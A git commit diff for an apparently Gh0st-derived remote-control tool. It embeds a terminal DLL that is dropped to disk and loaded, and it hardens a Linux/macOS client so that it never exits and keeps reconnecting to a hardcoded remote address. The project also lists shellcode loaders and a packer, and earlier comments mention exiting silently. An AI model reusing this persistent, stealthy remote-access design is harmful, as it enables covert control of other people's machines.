Improve: Embed Modern Terminal DLL in master's resources
Fix: keep Linux/macOS client alive across server restarts; gate all commands on auth-verified state to neutralize unauthorized servers
This commit is contained in:
@@ -281,6 +281,11 @@ public:
|
||||
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
|
||||
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
|
||||
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
|
||||
|
||||
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
|
||||
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd,避免泄漏。
|
||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
@@ -288,7 +293,6 @@ protected:
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
}
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||
virtual int SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
|
||||
@@ -47,9 +47,13 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
|
||||
uint64_t g_myClientID = 0;
|
||||
|
||||
// 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验
|
||||
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应让进程退出。
|
||||
// 校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
|
||||
// g_settingsVerified 在 DataProcess(IO 线程)写、心跳循环(main 线程)和 DataProcess 自身读,
|
||||
// 跨线程访问 → 用 atomic 保证可见性。
|
||||
std::string g_loginMsg;
|
||||
time_t g_loginTime = 0;
|
||||
bool g_settingsVerified = false;
|
||||
std::atomic<bool> g_settingsVerified{false};
|
||||
|
||||
// ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ==============
|
||||
|
||||
@@ -451,6 +455,14 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
if (szBuffer == nullptr || ulLength == 0)
|
||||
return TRUE;
|
||||
|
||||
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。
|
||||
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS,
|
||||
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
|
||||
if (!g_settingsVerified.load(std::memory_order_acquire) &&
|
||||
szBuffer[0] != CMD_MASTERSETTING) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
@@ -483,23 +495,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||
int settingSize = ulLength - 1;
|
||||
// 强制要求完整 MasterSettings(包含 Signature 字段)。包不完整 → 视为非授权服务端
|
||||
// 强制要求完整 MasterSettings(包含 Signature 字段)。包不完整 → 视为本次响应异常,
|
||||
// 不更新 g_settingsVerified,让心跳循环的 30s 超时自然把本次连接断开重连。
|
||||
if (settingSize < (int)sizeof(MasterSettings)) {
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
return TRUE;
|
||||
}
|
||||
MasterSettings settings = {};
|
||||
memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
|
||||
|
||||
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
|
||||
// 验证签名。失败 → 静默退出(不打印关键词日志)
|
||||
// 验证签名。失败 → 不立即退出,让超时兜底+重连逻辑处理(避免合法服务端临时
|
||||
// 抖动导致进程退出)
|
||||
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
|
||||
std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
|
||||
if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
return TRUE;
|
||||
return TRUE; // 同上,不立即退出
|
||||
}
|
||||
g_settingsVerified = true;
|
||||
g_settingsVerified.store(true, std::memory_order_release);
|
||||
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
@@ -1132,7 +1144,7 @@ int main(int argc, char* argv[])
|
||||
|
||||
// 进入新连接,重置服务端身份校验状态
|
||||
g_loginTime = time(nullptr);
|
||||
g_settingsVerified = false;
|
||||
g_settingsVerified.store(false, std::memory_order_release);
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
|
||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||
@@ -1162,10 +1174,11 @@ int main(int argc, char* argv[])
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
|
||||
// 兜底:登录后 30 秒内必须收到并通过 MasterSettings 校验,否则视为非授权服务端
|
||||
if (!g_settingsVerified && g_loginTime > 0 &&
|
||||
// 登录后 30 秒内必须收到并通过 MasterSettings 校验。失败 → 显式断开本连接
|
||||
// 让外层重连。永不退出进程(客户端是常驻服务,服务端不可达不应该让其自杀)。
|
||||
if (!g_settingsVerified.load(std::memory_order_acquire) && g_loginTime > 0 &&
|
||||
time(nullptr) - g_loginTime > 30) {
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
ClientObject->Disconnect(); // 关闭 socket,防止重连时 fd 泄漏
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
@@ -37,9 +37,12 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
|
||||
uint64_t g_myClientID = 0;
|
||||
|
||||
// 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验
|
||||
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应让进程退出。
|
||||
// 校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
|
||||
// g_settingsVerified 跨线程访问 → 用 atomic 保证可见性。
|
||||
std::string g_loginMsg;
|
||||
time_t g_loginTime = 0;
|
||||
bool g_settingsVerified = false;
|
||||
std::atomic<bool> g_settingsVerified{false};
|
||||
|
||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
|
||||
@@ -800,6 +803,14 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
if (szBuffer == nullptr || ulLength == 0)
|
||||
return TRUE;
|
||||
|
||||
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。
|
||||
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS,
|
||||
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
|
||||
if (!g_settingsVerified.load(std::memory_order_acquire) &&
|
||||
szBuffer[0] != CMD_MASTERSETTING) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
@@ -857,23 +868,20 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||
int settingSize = ulLength - 1;
|
||||
// 强制要求完整 MasterSettings(包含 Signature 字段)。包不完整 → 视为非授权服务端
|
||||
// 包不完整 → 不立即退出,让心跳循环 30s 超时断开重连
|
||||
if (settingSize < (int)sizeof(MasterSettings)) {
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
return TRUE;
|
||||
}
|
||||
MasterSettings settings = {};
|
||||
memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
|
||||
|
||||
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
|
||||
// 验证签名。失败 → 静默退出(不打印关键词日志)
|
||||
// 签名校验失败 → 同上,让超时兜底+重连处理
|
||||
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
|
||||
std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
|
||||
if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
return TRUE;
|
||||
}
|
||||
g_settingsVerified = true;
|
||||
g_settingsVerified.store(true, std::memory_order_release);
|
||||
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
@@ -1005,7 +1013,7 @@ int main(int argc, const char* argv[])
|
||||
|
||||
// 进入新连接,重置服务端身份校验状态
|
||||
g_loginTime = time(nullptr);
|
||||
g_settingsVerified = false;
|
||||
g_settingsVerified.store(false, std::memory_order_release);
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
|
||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||
@@ -1027,10 +1035,11 @@ int main(int argc, const char* argv[])
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
|
||||
// 兜底:登录后 30 秒内必须收到并通过 MasterSettings 校验,否则视为非授权服务端
|
||||
if (!g_settingsVerified && g_loginTime > 0 &&
|
||||
// 登录后 30 秒内必须收到并通过 MasterSettings 校验。失败 → 显式断开本连接
|
||||
// 让外层重连。永不退出进程(客户端是常驻服务,服务端不可达不应该让其自杀)。
|
||||
if (!g_settingsVerified.load(std::memory_order_acquire) && g_loginTime > 0 &&
|
||||
time(nullptr) - g_loginTime > 30) {
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
ClientObject->Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
Binary file not shown.
@@ -241,6 +241,8 @@
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||
<None Include="lang\en_US.ini" />
|
||||
<None Include="lang\zh_TW.ini" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
@@ -250,6 +252,7 @@
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
<None Include="res\3rd\SCLoader_32.exe" />
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||
<None Include="res\3rd\upx.exe" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
|
||||
@@ -325,6 +325,9 @@
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
<None Include="res\3rd\SCLoader_32.exe" />
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
<None Include="lang\en_US.ini" />
|
||||
<None Include="lang\zh_TW.ini" />
|
||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
|
||||
@@ -702,6 +702,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
||||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
||||
|
||||
@@ -3204,6 +3205,7 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
|
||||
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
|
||||
{
|
||||
m_bIsCtrl = ctrl;
|
||||
m_bIsTraceCursor = !m_bIsCtrl;
|
||||
// 进入控制模式时重置放大状态 + 中止任何正在进行的右键截图框选
|
||||
if (m_bIsCtrl) {
|
||||
if (m_bZoomedIn) ResetZoom();
|
||||
@@ -3216,6 +3218,11 @@ void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
||||
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
||||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||
if (SysMenu) {
|
||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::OnCaptureChanged(CWnd* pWnd)
|
||||
|
||||
@@ -40,6 +40,9 @@ inline PFN_IsTerminalValid pfnIsTerminalValid = nullptr;
|
||||
inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr;
|
||||
inline HMODULE g_hTerminalModule = nullptr;
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName);
|
||||
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset);
|
||||
|
||||
// Load the TerminalModule DLL
|
||||
inline bool LoadTerminalModule()
|
||||
{
|
||||
@@ -78,6 +81,17 @@ inline bool LoadTerminalModule()
|
||||
}
|
||||
|
||||
if (!g_hTerminalModule) {
|
||||
DWORD fileSize = 0;
|
||||
BYTE* dllData = ReadResource(IDR_MODERN_TERMINAL, fileSize, NULL);
|
||||
if (!dllData)
|
||||
return false;
|
||||
char fullPath[MAX_PATH];
|
||||
strcpy_s(fullPath, exePath);
|
||||
strcat_s(fullPath, "TerminalModule_x64.dll");
|
||||
WriteBinaryToFile(fullPath, (char*)dllData, fileSize, 0);
|
||||
delete[] dllData;
|
||||
g_hTerminalModule = LoadLibraryA(fullPath);
|
||||
if (!g_hTerminalModule)
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
BIN
server/2015Remote/res/3rd/TerminalModule_x64.dll
Normal file
BIN
server/2015Remote/res/3rd/TerminalModule_x64.dll
Normal file
Binary file not shown.
@@ -248,9 +248,14 @@
|
||||
#define IDB_BITMAP8 369
|
||||
#define IDB_BITMAP_CANCELSHARE 369
|
||||
#define IDD_DIALOG_PLUGIN_SETTINGS 370
|
||||
#define IDD_DIALOG_TRIGGER_SETTINGS 371
|
||||
#define IDR_BINARY7 371
|
||||
#define IDR_MODERN_TERMINAL 371
|
||||
#define IDB_BITMAP_TRIGGER 372
|
||||
#define IDB_BITMAP_WEBDESKTOP 373
|
||||
#define IDB_BITMAP_PLUGINCONFIG 374
|
||||
#define IDR_LANG_EN_US 380
|
||||
#define IDR_LANG_ZH_TW 381
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -724,6 +729,13 @@
|
||||
#define IDC_STATIC_PLUGIN_SCHEDULE 2536
|
||||
#define IDC_STATIC_PLUGIN_INTERVAL 2537
|
||||
#define IDC_STATIC_PLUGIN_COUNTER 2538
|
||||
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||
#define IDC_BTN_TRIGGER_ADD 2541
|
||||
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||
#define IDC_LIST_TRIGGERS 2543
|
||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||
#define ID_ONLINE_UPDATE 32772
|
||||
#define ID_ONLINE_MESSAGE 32773
|
||||
#define ID_ONLINE_DELETE 32775
|
||||
@@ -957,27 +969,14 @@
|
||||
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
||||
#define ID_33046 33046
|
||||
#define ID_PROXY_PORT_AUTORUN 33047
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
#define ID_TRIGGER_SETTINGS 33048
|
||||
#define IDD_DIALOG_TRIGGER_SETTINGS 371
|
||||
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||
#define IDC_BTN_TRIGGER_ADD 2541
|
||||
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||
#define IDC_LIST_TRIGGERS 2543
|
||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||
|
||||
// 内嵌语言资源 (RCDATA)
|
||||
// 注意:避免与 IDB_BITMAP_TRIGGER(372) 和 IDB_BITMAP_WEBDESKTOP(373) 冲突
|
||||
#define IDR_LANG_EN_US 380
|
||||
#define IDR_LANG_ZH_TW 381
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 371
|
||||
#define _APS_NEXT_RESOURCE_VALUE 372
|
||||
#define _APS_NEXT_COMMAND_VALUE 33048
|
||||
#define _APS_NEXT_CONTROL_VALUE 2539
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
|
||||
Reference in New Issue
Block a user